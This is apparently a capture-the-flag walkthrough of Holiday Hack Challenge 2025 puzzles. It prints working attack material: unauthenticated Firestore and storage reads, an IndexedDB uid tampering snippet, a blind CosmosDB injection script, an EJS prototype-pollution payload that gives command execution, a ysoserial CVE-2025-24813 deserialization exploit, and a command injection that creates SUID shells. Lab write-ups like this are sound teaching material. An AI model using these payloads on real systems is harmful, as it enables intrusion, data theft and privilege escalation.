Quantgnome Leap
Charlie in the hotel has quantum gnome mysteries waiting to be solved. What is the flag that you find?

I’m dropped into a shell as qgnome and looking around I find a SSH key in ~/.ssh. The comment in the public key says gnome1, so a likely username. Using it I can login as gnome1 via SSH to localhost.
$ ls -la ~/.ssh
total 16
drwxr-xr-x 2 root root 4096 Oct 29 00:29 .
drwxr-x--- 1 qgnome qgnome 4096 Dec 22 14:48 ..
-rw------- 1 qgnome qgnome 2590 Oct 29 00:29 id_rsa
-rw-r--r-- 1 qgnome qgnome 560 Oct 29 00:29 id_rsa.pub
$ cat ~/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EA<SNIP>Fyk7wGkE07pWU= gnome1
$ ssh -i ~/.ssh/id_rsa gnome1@127.0.0.1As gnome2 I get access to another SSH key. Instead of RSA it’s based on ED25519 eliptic curve. I repeat the previous steps to login as gnome2.
$ ls -la ~/.ssh
total 16
drwxr-xr-x 2 root root 4096 Oct 29 00:29 .
drwxr-x--- 1 gnome1 gnome1 4096 Dec 22 14:51 ..
-rw------- 1 gnome1 gnome1 399 Oct 29 00:29 id_ed25519
-rw-r--r-- 1 gnome1 gnome1 88 Oct 29 00:29 id_ed25519.pub
$ cat ~/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKUOOPy0e1+4EzuM5PYc1/lfsXrR9FFDxTxDztvCi0Ce gnome2
$ ssh -i ~/.ssh/id_ed25519 gnome2@127.0.0.1Once again this grants me access to another SSH key, this time for gnome3.
$ ls -la ~/.ssh
total 32
drwxr-xr-x 2 root root 4096 Oct 29 00:29 .
drwxr-x--- 1 gnome2 gnome2 4096 Oct 29 00:29 ..
-rw------- 1 gnome2 gnome2 13532 Oct 29 00:29 id_mayo2
-rw-r--r-- 1 gnome2 gnome2 6590 Oct 29 00:29 id_mayo2.pub
$ cat ~/.ssh/id_mayo2
ssh-mayo2 AAAACXNzaC1tYX<SNIP>jEl9z gnome3
$ ssh -i ~/.ssh/id_mayo2 gnome3@127.0.0.1Feeling a bit like Groundhog Day, I find SSH key for gnome4.
$ ls -la ~/.ssh
total 16
drwxr-xr-x 2 root root 4096 Oct 29 00:29 .
drwxr-x--- 1 gnome3 gnome3 4096 Oct 29 00:29 ..
-rw------- 1 gnome3 gnome3 744 Oct 29 00:29 id_ecdsa_nistp256_sphincssha2128fsimple
-rw-r--r-- 1 gnome3 gnome3 265 Oct 29 00:29 id_ecdsa_nistp256_sphincssha2128fsimple.pub
$ cat ~/.ssh/id_ecdsa_nistp256_sphincssha2128fsimple.pub
ssh-ecdsa-nistp256-sphincssha2128fsimple AAAAKHNzaC1lY2RzYS1<SNIP>5d82Bg= gnome4
$ ssh -i ~/.ssh/id_ecdsa_nistp256_sphincssha2128fsimple gnome4@127.0.0.1And hopefully for the last time, there’s another SSH key, but the comment specifies admin instead of gnomeX.
$ ls -la ~/.ssh
total 28
drwxr-xr-x 2 root root 4096 Oct 29 00:29 .
drwxr-x--- 1 gnome4 gnome4 4096 Oct 29 00:29 ..
-rw------- 1 gnome4 gnome4 14396 Oct 29 00:29 id_ecdsa_nistp521_mldsa87
-rw-r--r-- 1 gnome4 gnome4 3739 Oct 29 00:29 id_ecdsa_nistp521_mldsa87.pub
$ cat ~/.ssh/id_ecdsa_nistp521_mldsa87.pub
ssh-ecdsa-nistp521-mldsa-87 AAAAG3NzaC1<SNIP>xqr9zVg== admin
$ ssh -i ~/.ssh/id_ecdsa_nistp521_mldsa87 admin@127.0.0.1As admin I can look into the flag folder in /opt/oqs-ssh/ and read the flag file.
$ cat /opt/oqs-ssh/flag/flag
HHC{L3aping_0v3r_Quantum_Crypt0}
HHC{L3aping_0v3r_Quantum_Crypt0}
Going in Reverse
Kevin in the Retro Store needs help rewinding tech and going in reverse. Extract the flag and enter it here.

This challenges provides a BASIC program to download. The source code can be viewed in a text editor and looks like a prompt to enter a password. It has an encrypted password hardcoded and there’s an XOR operation in line 9.
10 REM *** COMMODORE 64 SECURITY SYSTEM ***
20 ENC_PASS$ = "D13URKBT"
30 ENC_FLAG$ = "DSA|auhts*wkfi=dhjwubtthut+dhhkfis+hnkz" ' old "DSA|qnisf`bX_huXariz"
40 INPUT "ENTER PASSWORD: "; PASS$
50 IF LEN(PASS$) <> LEN(ENC_PASS$) THEN GOTO 90
60 FOR I = 1 TO LEN(PASS$)
70 IF CHR$(ASC(MID$(PASS$,I,1)) XOR 7) <> MID$(ENC_PASS$,I,1) THEN GOTO 90
80 NEXT I
85 FLAG$ = "" : FOR I = 1 TO LEN(ENC_FLAG$) : FLAG$ = FLAG$ + CHR$(ASC(MID$(ENC_FLAG$,I,1)) XOR 7) : NEXT I : PRINT FLAG$
90 PRINT "ACCESS DENIED"
100 ENDPlacing the ENC_FLAG$ value into CyberChef and XORing it with 7 reveals the flag.
CTF{frost-plan:compressors,coolant,oil}
ACT III
Info
The Gnomes want to transform the neighborhood so that it’s frozen solid year-round, an environmental disaster. But who is the mastermind behind the Gnomes’ wickedness?
Gnome Tea
Enter the apartment building near 24-7 and help Thomas infiltrate the GnomeTea social network and discover the secret agent passphrase.

The HTML source for this site is pretty short but includes a ToDo regarding locking down dms, tea, and gnomes collection. Trying to login with random credentials shows an outbound connection to identitytoolkit.googleapis.com with an API key.
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/png" href="/GnomeTeaLogoNoBg.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<!-- TODO: lock down dms, tea, gnomes collections -->
<title>GnomeTea - Spill the Tea!</title>
<script type="module" crossorigin src="/assets/index-BVLyJWJ_.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-C3GUVeby.css">
</head>
<body class="bg-gnome-cream">
<div id="root"></div>
</body>
</html>When I search for the API key AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk in the loaded JavaScript, I can quickly find the configuration for Firebase. This is a service used for mobile and web app development, and offers databases and file storage among other features.
{
"apiKey": "AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk",
"authDomain": "holidayhack2025.firebaseapp.com",
"projectId": "holidayhack2025",
"storageBucket": "holidayhack2025.firebasestorage.app",
"messagingSenderId": "341227752777",
"appId": "1:341227752777:web:7b9017d3d2d83ccf481e98"
}Accessing the service from apps is often done with hardcoded credentials or completely unauthenticated. By using the REST API, I check for database access4 and get data back for the collections listed in the ToDo.
$ curl -s "https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/gnomes" \
| jq . > gnomes.json
$ curl -s "https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/tea" \
| jq . > tea.json
$ curl -s "https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/dms" \
| jq . > dms.jsonWithin the direct messages in dms.json I find an interesting message from Barnaby Briefcase. He mentions his password is the hometown he grew up in and lets us know that he took his ID there.
{
"mapValue": {
"fields": {
"senderName": {
"stringValue": "Barnaby Briefcase"
},
"content": {
"stringValue": "Sorry, I can't give you my password but I can give you a hint. My password is actually the name of my hometown that I grew up in. I actually just visited there back when I signed up with my id to GnomeTea (I took my picture of my id there)."
},
"timestamp": {
"timestampValue": "2025-09-30T19:20:52.956Z"
},
"senderUid": {
"stringValue": "l7VS01K9GKV5ir5S8suDcwOFEpp2"
}
}
}
}A link to his drivers license is available in gnomes.json, but trying to access it via the browser results in a 403.
{
"name": "projects/holidayhack2025/databases/(default)/documents/gnomes/l7VS01K9GKV5ir5S8suDcwOFEpp2",
"fields": {
"driversLicenseUrl": {
"stringValue": "https://storage.googleapis.com/holidayhack2025.firebasestorage.app/gnome-documents/l7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg"
},
"bio": {
"stringValue": "Corporate ladder-climber with a leather briefcase full of seed contracts, quarterly reports, and a suspiciously large collection of business cards. He schedules synergy meetings and talks about \"disrupting the garden space.\""
},
"interests": {
"arrayValue": {
"values": [
{
"stringValue": "gardening"
},
{
"stringValue": "mushrooms"
},
{
"stringValue": "gossip"
}
]
}
},
"createdAt": {
"timestampValue": "2025-09-30T18:21:29.604Z"
},
"avatarUrl": {
"stringValue": "https://storage.googleapis.com/holidayhack2025.firebasestorage.app/gnome-avatars/l7VS01K9GKV5ir5S8suDcwOFEpp2_profile.png"
},
"homeLocation": {
"stringValue": "Gnomewood Grove, Dosis Neighborhood"
},
"email": {
"stringValue": "barnabybriefcase@gnomemail.dosis"
},
"name": {
"stringValue": "Barnaby Briefcase"
},
"uid": {
"stringValue": "l7VS01K9GKV5ir5S8suDcwOFEpp2"
}
},
"createTime": "2025-09-30T18:21:29.617348Z",
"updateTime": "2025-09-30T19:09:06.541085Z"
}Instead of trying to download through the firebase-admin SDK link, there’s also the regular client firebase SDK one. This points to storage.googleapis.com5 instead and there accessing the file is possible. After inspecting the metadata of the JPEG file, I can spot GPS coordinates.
$ curl "https://firebasestorage.googleapis.com/v0/b/holidayhack2025.firebasestorage.app/o/gnome-documents%2fl7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg?alt=media" \
-o barnaby_driver_license.jpeg
$ exiftool barnaby_driver_license.jpeg
ExifTool Version Number : 13.36
File Name : barnaby_driver_license.jpeg
Directory : .
File Size : 291 kB
File Modification Date/Time : 2025:12:23 10:24:31+01:00
File Access Date/Time : 2025:12:23 10:24:31+01:00
File Inode Change Date/Time : 2025:12:23 10:24:31+01:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
Make : Toadstool Inc.
Camera Model Name : Glimmerglass Pro
X Resolution : 0
Y Resolution : 0
Resolution Unit : None
Artist : Pip Sparkletoes Photography
Y Cb Cr Positioning : Centered
Copyright : Property of the Gnome Secret Service (GSS)
GPS Version ID : 2.3.0.0
GPS Latitude Ref : South
GPS Longitude Ref : East
XMP Toolkit : Gnomish Tinker Tools v1.2
Digital Source File Type : http://cv.iptc.org/newscodes/digitalsourcetype/compositeWithTrainedAlgorithmicMedia
Digital Source Type : http://cv.iptc.org/newscodes/digitalsourcetype/compositeWithTrainedAlgorithmicMedia
Date/Time Original : 2025:09:30 16:20:21+00:00
Date Created : 2025:09:30 16:20:21+00:00
Image Width : 896
Image Height : 550
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 896x550
Megapixels : 0.493
GPS Latitude : 33 deg 27' 53.85" S
GPS Longitude : 115 deg 54' 37.62" E
GPS Position : 33 deg 27' 53.85" S, 115 deg 54' 37.62" EThe coordinates 33°27'53.85"S 115°54'37.62"E point towards a location in Australia. On the street view there are lots of gnomes on display and the parking area nearby is labelled Gnomesville Car Park, so the hometown and therefore the password is likely Gnomesville.

After a few tries, I’m able to login with barnabybriefcase@gnomemail.dosis and gnomesville (all lowercase) as the password. Within the application I can see all the data already retrieved via the direct access to the database.

Instead of cookies, the current session is placed in the IndexDB named firebaseLocalStorageDb. Most of the data is already known.
{
"fbase_key": "firebase:authUser:AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk:[DEFAULT]",
"value": {
"uid": "3loaihgxP0VwCTKmkHHFLe6FZ4m2",
"email": "barnabybriefcase@gnomemail.dosis",
"emailVerified": true,
"displayName": "Barnaby Briefcase",
"isAnonymous": false,
"providerData": [
{
"providerId": "password",
"uid": "barnabybriefcase@gnomemail.dosis",
"displayName": "Barnaby Briefcase",
"email": "barnabybriefcase@gnomemail.dosis",
"phoneNumber": null,
"photoURL": null
}
],
"stsTokenManager": {
"refreshToken": "AMf-<REDACTED>_xO",
"accessToken": "eyJh<REDACTED>HFBA",
"expirationTime": 1766494214169
},
"createdAt": "1759256487470",
"lastLoginAt": "1766490614011",
"apiKey": "AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk",
"appName": "[DEFAULT]"
}
}Inspecting the JavaScript once more finds references to /admin. Apparently this entry is only added to the navigation if the session data has the uid set to 3loaihgxP0VwCTKmkHHFLe6FZ4m2.
// --- SNIP ---
T = '3loaihgxP0VwCTKmkHHFLe6FZ4m2';
typeof window < 'u' &&
(window.EXPECTED_ADMIN_UID = T),
K.useEffect(
() => {
const $ = () => {
const F = (_ == null ? void 0 : _.uid) === T,
le = window.ADMIN_UID === T,
ie = F ||
le;
v(ie),
ie &&
!o &&
j()
};
$();
const H = setInterval($, 500);
return () => clearInterval(H)
},
[
_ == null ? void 0 : _.uid,
o
]
),
// --- SNIP ---Unfortunately neither Firefox nor Chrome let me edit the IndexedDB directly within the developer console, but it’s still possible through JavaScript. The following snippet opens the firebaseLocalStorageDb, retrieves the current value for the specific key and then modifies the uid to the desired value before committing the changes.
const request = indexedDB.open("firebaseLocalStorageDb", 1);
request.onsuccess = function(event) {
const db = request.result;
const transaction = db.transaction("firebaseLocalStorage","readwrite");
const store = transaction.objectStore("firebaseLocalStorage");
console.log(store);
let get = store.get("firebase:authUser:AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk:[DEFAULT]");
get.onsuccess = function(event) {
let data = event.target.result;
data.value.uid = "3loaihgxP0VwCTKmkHHFLe6FZ4m2";
store.put(data);
}
transaction.oncomplete = function() {
db.close();
}
}After running the code, the new option in the navigation pops up and there I can find the secret passphrase.

GigGigglesGiggler
Hack-a-Gnome
Davis in the Data Center is fighting a gnome army—join the hack-a-gnome fun.

The registration seems closed, but upon inputting a username there’s an outbound request to /userAvailable?username= to check the availability. This can be used to enumerate valid users and I use ffuf for this with some common names. One match it finds is bruce.
$ ffuf -u "https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=FUZZ" \
-w /usr/share/wordlists/seclists/Usernames/Names/names.txt \
-fs 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 18
________________________________________________
bruce [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 175ms]I assume the user information is kept in a database, so the check is likely using some kind of query and might therefore be vulnerable to SQL injection. Appending a single " after bruce produces an error message that reveals that the application is using CosmosDB as database.
{
"error": "An error occurred while checking username: Message: {\"errors\":[{\"severity\":\"Error\",\"location\":{\"start\":49,\"end\":50},\"code\":\"SC1012\",\"message\":\"Syntax error, invalid string literal token '\\\"'.\"}]}\r\nActivityId: 5e776f6d-90a2-4801-a082-ca33088e0c0b, Microsoft.Azure.Documents.Common/2.14.0"
}
After using bruce"-- - as payload, the response from the server returns back to normal, so now I can start enumerating the database. IS_DEFINED can be used to determine whether a specific property or column exists6 and with this and LENGTH I quickly identify the property that holds the password (hash) value to be digest. Based on the length of the value (32) that might be a MD5 hash.
bruce" AND IS_DEFINED(c.digest)-- -
bruce" AND LENGTH(c.digest) = 32-- -To guess the hash one character at a time, I can use SUBSTRING and iterate through the value. If the availability is set to false the correct character is found and I can move on to the next. Doing this manually is tedious, so I build a small Python script that goes through all valid chars in the hex alphabet.
import requests
url = 'https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable'
session = requests.Session()
length = 32
alphabet = 'abcdef0123456789'
password_hash = ''
for i in range(length):
for a in alphabet:
resp = session.get(
url,
params={
'username':f'bruce" AND SUBSTRING(c.digest,{i},1) = "{a}"-- -',
'id': 'ede52481-ee8e-4f1e-9b00-9977c9bc0d64'
})
if not resp.json()['available']:
password_hash += a
break
print(f'\r{password_hash}', end='')
Running the script returns d0a9ba00f80cbc56584ef245ffc56b9e and this cracks quickly to reveal oatmeal12 as the plain text password. Using that password I can login as bruce and get access to the Smart Gnome Control Center.

The page consists out of two iframes, one rendering the /stats page and the other showing the factory floor with a controllable robot. In theory using WASD I should be able to move the robot around in order to get to the power switch, but there are only error messages. Apparently the canbus command IDs are unknown.
I’m also able to reset the factory, but that just re-renders the view. More interesting is the button to update the name of the robot. It opens a prompt and I can supply a string and then updates the name on Statistics page. In the background there’s a call to /ctrlsignals with the parameter message set to an URL-encoded JSON payload.
{"action":"update","key":"settings","subkey":"name","value":"test"}Based on that it sets the attribute name of settings to the value test. If not implemented correctly this can lead to prototype pollution. Since name is also rendered on the page, I set it to a new object with the toString function returning a boolean instead of being a function.
{"action":"update","key":"settings","subkey":"name","value":{"toString": true}}After URL-encoding the payload and sending it, all subsequent calls to /stats output an error message with a stacktrace. This reveals the template engine EJS is in use. In order to fix the error message, I set the value back to regular string.
TypeError: /app/views/stats.ejs:71
69| <tr>
70| <td class="key-cell"><%= stat.name %></td>
>> 71| <td class="value-cell"><%= stat.value %></td>
72| </tr>
73| <% }); %>
74| </tbody>
Cannot convert object to primitive value
at String (<anonymous>)
at exports.escapeXML (/app/node_modules/ejs/lib/utils.js:97:7)
at eval (/app/views/stats.ejs:18:16)
at Array.forEach (<anonymous>)
at eval (/app/views/stats.ejs:12:19)
at stats (/app/node_modules/ejs/lib/ejs.js:691:17)
at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:272:36)
at exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:489:10)
at View.render (/app/node_modules/express/lib/view.js:135:8)
at tryRender (/app/node_modules/express/lib/application.js:657:10)Next I try to pollute the __proto__ attribute, but using it as subkey does not have the desired effect. As soon as I use it as the key with toString as the subkey, the page errors out again.
{"action":"update","key":"__proto__","subkey":"toString","value":"test"}It looks like the endpoint sets Object.<key>.<subkey> = <value> and therefore makes it trivial to pollute anything. Logging out and back in again, resets everything.
TypeError: Object.prototype.toString.call is not a function
at Object.isRegExp (/app/node_modules/qs/lib/utils.js:231:38)
at normalizeParseOptions (/app/node_modules/qs/lib/parse.js:289:64)
at module.exports [as parse] (/app/node_modules/qs/lib/parse.js:305:19)
at parseExtendedQueryString (/app/node_modules/express/lib/utils.js:289:13)
at query (/app/node_modules/express/lib/middleware/query.js:42:19)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at trim_prefix (/app/node_modules/express/lib/router/index.js:328:13)
at /app/node_modules/express/lib/router/index.js:286:9
at Function.process_params (/app/node_modules/express/lib/router/index.js:346:12)
at next (/app/node_modules/express/lib/router/index.js:280:10)Just being able to pollute things, it does not necessarily grant me more access on the page. There’s no admin area or any other privileged actions available. Getting command execution is also possible through the use of gadgets and the template engine in use is a prime target for that. Looking for those, quickly finds issue 451 on GitHub and that shows the pollution of outputFunctionName can lead to command execution. The description comes with a payload, that I use for my next try.
{"action":"update","key":"__proto__","subkey":"outputFunctionName","value":"a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"whoami\"); //"}Reloading the /stats page now prompts me to download a file. Looking at the request in BurpSuite reveals that the application is responding with the output of the whoami command.

Executing single commands through this would be very tedious, so I execute a reverse shell payload to gain an interactive session on the target. There I’m dropped into Docker container as root and get access to the source code for the web application and the interaction with the canbus protocol.
$ ls -la
total 88
drwxr-xr-x 1 root root 4096 Dec 29 09:41 .
drwxr-xr-x 1 root root 4096 Dec 29 09:41 ..
-rw-r--r-- 1 root root 283 Oct 1 17:01 .env
-rw-r--r-- 1 root root 6957 Oct 1 17:01 README.md
-rwxr-xr-x 1 root root 3310 Oct 1 17:01 canbus_client.py
drwxr-xr-x 81 root root 4096 Dec 5 21:33 node_modules
-rw-r--r-- 1 root root 36919 Dec 5 21:33 package-lock.json
-rw-r--r-- 1 root root 359 Oct 1 17:01 package.json
-rw-r--r-- 1 root root 9867 Oct 1 17:01 server.js
drwxr-xr-x 2 root root 4096 Oct 1 17:01 viewsThe canbus_client.py script has the commands up, down, left, and right hardcoded with their CAN IDs, but those are obviously wrong.
#!/usr/bin/python3
import can
import time
import argparse
import sys
import datetime # To show timestamps for received messages
# Define CAN IDs (I think these are wrong with newest update, we need to check the actual device documentation)
COMMAND_MAP = {
"up": 0x656,
"down": 0x657,
"left": 0x658,
"right": 0x659,
# Add other command IDs if needed
}
# Add 'listen' as a special command option
COMMAND_CHOICES = list(COMMAND_MAP.keys()) + ["listen"]
IFACE_NAME = "gcan0"
def send_command(bus, command_id):
"""Sends a CAN message with the given command ID."""
message = can.Message(
arbitration_id=command_id,
data=[], # No specific data needed for these simple commands
is_extended_id=False
)
try:
bus.send(message)
print(f"Sent command: ID=0x{command_id:X}")
except can.CanError as e:
print(f"Error sending message: {e}")
def listen_for_messages(bus):
"""Listens for CAN messages and prints them."""
print(f"Listening for messages on {bus.channel_info}. Press Ctrl+C to stop.")
try:
# Iterate indefinitely over messages received on the bus
for msg in bus:
# Get current time for the timestamp
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] # Milliseconds precision
print(f"{timestamp} | Received: {msg}")
# You could add logic here to filter or react to specific messages
# if msg.arbitration_id == 0x100:
# print(" (Noise message)")
except KeyboardInterrupt:
print("\nStopping listener...")
except Exception as e:
print(f"\nAn error occurred during listening: {e}")
def main():
parser = argparse.ArgumentParser(description="Send CAN bus commands or listen for messages.")
parser.add_argument(
"command",
choices=COMMAND_CHOICES,
help=f"The command to send ({', '.join(COMMAND_MAP.keys())}) or 'listen' to monitor the bus."
)
args = parser.parse_args()
try:
# Initialize the CAN bus interface
bus = can.interface.Bus(channel=IFACE_NAME, interface='socketcan', receive_own_messages=False) # Set receive_own_messages if needed
print(f"Successfully connected to {IFACE_NAME}.")
except OSError as e:
print(f"Error connecting to CAN interface {IFACE_NAME}: {e}")
print(f"Make sure the {IFACE_NAME} interface is up ('sudo ip link set up {IFACE_NAME}')")
print("And that you have the necessary permissions.")
sys.exit(1)
except Exception as e:
print(f"An unexpected error occurred during bus initialization: {e}")
sys.exit(1)
if args.command == "listen":
listen_for_messages(bus)
else:
command_id = COMMAND_MAP.get(args.command)
if command_id is None: # Should not happen due to choices constraint
print(f"Invalid command for sending: {args.command}")
bus.shutdown()
sys.exit(1)
send_command(bus, command_id)
# Give a moment for the message to be potentially processed if listening elsewhere
time.sleep(0.1)
# Shutdown the bus connection cleanly
bus.shutdown()
print("CAN bus connection closed.")
if __name__ == "__main__":
main()I decide to bruteforce the correct values and generate a list of possible IDs, from 0x000 to 0xfff. Then I slightly modify the canbus_client script to take the ID directly, convert it to int and send it off.
$ python3 -c "print('\n'.join(['0x'+a+b+c for a in 'abcdef0123456789' for b in 'abcdef0123456789' for c in 'abcdef0123456789']))" > wl.txt
$ cat wl.txt | while read l; do python3 canbus_client.py $l; doneWhile executing the script, the error messages in the browser console pile up, but soon I can see a gap between 0x201 and 0x204. Those must be the correct values, since the robot also moved on the screen. I change back the script to the original state but modify the COMMAND_MAP to reflect the new values.
COMMAND_MAP = {
"up": 0x201,
"down": 0x202,
"left": 0x203,
"right": 0x204,
# Add other command IDs if needed
}Now it’s possible to move the robot through the script (and theoretically through the web app too, but the pollution is blocking) and I can push the boxes out of the way to let me move to the off switch. Then the power level goes to 0% and the objective is fulfilled.

Snowcat RCE & Priv Esc
Tom, in the hotel, found a wild Snowcat bug. Help him chase down the RCE! Recover and submit the API key not being used by snowcat.

In the home directory of user there’s a Markdown file with notes, a Python script for CVE-2025-24813, several JSP files and a JAR for ysoserial. The notes show the steps to exploit the CVE and give a hint about outdated C libraries, that might allow for privilege escalation.
# Remote Code Execution exploiting RCE-2025-24813
Snowcat is a webserver adapted to life in the arctic.
Can you help me check to see if Snowcat is vulnerable to RCE-2025-24813 like its cousin Tomcat?
## Display ysoserial help, lists payloads, and their dependencies:
java -jar ysoserial.jar
## Identify what libraries are used by the Neighborhood Weather Monitoring system
## Use ysoserial to generate a payload
Store payload in file named payload.bin
## Attempt to exploit RCE-2025-24813 to execute the payload
export HOST=TODO_INSERT_HOST
export PORT=TODO_INSERT_PORT
export SESSION_ID=TODO_INSERT_SESSION_ID
curl -X PUT \
-H "Host: ${HOST}:${PORT}" \
-H "Content-Length: $(wc -c < payload.bin)" \
-H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" \
--data-binary @payload.bin \
"http://${HOST}:${PORT}/${SESSION_ID}/session"
curl -X GET \
-H "Host: ${HOST}:${PORT}" \
-H "Cookie: JSESSIONID=.${SESSION_ID}" \
"http://${HOST}:${PORT}/"
# Privilege Escalation
The Snowcat server still uses some C binaries from an older system iteration.
Replacing these has been logged as technical debt.
<TOOD_INSERT_ELF_NAME> said he thought these components might create a privilege escalation vulnerability.
Can you prove these components are vulnerable by retrieving the key that is not used by the Snowcat hosted Neighborhood Weather Monitoring Station?Based on the source code in dashboard.jsp the application uses org.apache.commons.collections and later on calls multiple binaries with a hardcoded key.
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.map.*" %>
// --- SNIP ---
try {
String key = "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6";
Process tempProc = Runtime.getRuntime().exec("/usr/local/weather/temperature " + key);
Process humProc = Runtime.getRuntime().exec("/usr/local/weather/humidity " + key);
Process presProc = Runtime.getRuntime().exec("/usr/local/weather/pressure " + key);
// --- SNIP ---Since CVE-2025-24813 can be abused with a deserialization attack through the session cookie, I follow the notes and create my payload with ysoserial. It copies the bash binary from /bin to the /tmp directory and applies the SUID and GUID bit.
$ java -jar ysoserial.jar CommonsCollections6 "install --mode=6777 /bin/bash /tmp/bash" > payload.bin
Then I run the exploit against the server on localhost. This produces several errors but the new Bash binary appears in the /tmp directory with the desired access rights.
export HOST=127.0.0.1
export PORT=80
export SESSION_ID=whatever
curl -X PUT \
-H "Host: ${HOST}:${PORT}" \
-H "Content-Length: $(wc -c < payload.bin)" \
-H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" \
--data-binary @payload.bin \
"http://${HOST}:${PORT}/${SESSION_ID}/session"
curl -X GET \
-H "Host: ${HOST}:${PORT}" \
-H "Cookie: JSESSIONID=.${SESSION_ID}" \
"http://${HOST}:${PORT}/"Then I just need to run it with the -p switch to preserve the privileges and I’m dropped into a new shell as snowcat.
$ /tmp/bash -p
bash-5.1$ id
uid=2001(user) gid=2000(user) euid=5000(snowcat) egid=5000(snowcat) groups=5000(snowcat),2000(user)From the web application I already know that it calls multiple binaries in /usr/local/weather with the key 4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6. Doing so just prints a floating point number to the stdout. After transferring the binary temperature by base64 encoding it on the target and then just copying the string to my own machine, I can upload it dogbolt to decompile it with various engines.
Upon executing the binary, it checks if the supplied key is contained in /usr/local/weather/keys/authorized_keys and then reads the sensor data. At the end it logs the usage with a call to /usr/local/weather/logUsage and the arguments humidity and the key that the calling user supplies. This command is dynamically generated with snprintf and then executed with system.
void log_usage(undefined8 param_1)
{
long in_FS_OFFSET;
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
snprintf(local_118,0x100,"%s \'%s\' \'%s\'","/usr/local/weather/logUsage","humidity",param_1);
system(local_118);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}Trying to add a single quote to the key results in an error message regarding an unterminated quoted string, leading me to believe there’s a command injection possible. With the same payload as before, I place a new Bash binary with SUID and GUID bits added to the /tmp directory.
/usr/local/weather/temperature "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6';install --mode=6777 /bin/bash /tmp/weather'"
/tmp/weather -pThis grants me a shell as weather and I can access the keys in /usr/local/weather/keys/authorized_keys.
cat /usr/local/weather/keys/authorized_keys
4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
8ade723d-9968-45c9-9c33-7606c49c2201It's also possible to get a
rootshell this way by first modifying theconfigin/usr/local/weather/with the command injection and then install the Bash binary.
8ade723d-9968-45c9-9c33-7606c49c2201
Schrödinger’s Scope
Kevin in the Retro Store ponders pentest paradoxes—can you solve Schrödinger’s Scope?

Info
Before looking at the application, I instruct my browser to use BurpSuite as proxy and restrict the scope there to
/registerand drop all other requests.
On the /register page there’s a link to the sitemap showing the available endpoints, but I can only access a subset of those.
$ curl 'https://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/sitemap?id=605cf1a0-3033-4f7e-9e29-1d9702497a86' \
-H 'Cookie: Schrodinger=c7356e3c-746b-4935-957f-bb1e9af5e026; registration=eb72a05369dcb451' \
| grep -Po "http://[^<]+"
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/console
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/console/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/logs
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/logs/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/register
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/register/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/register/login
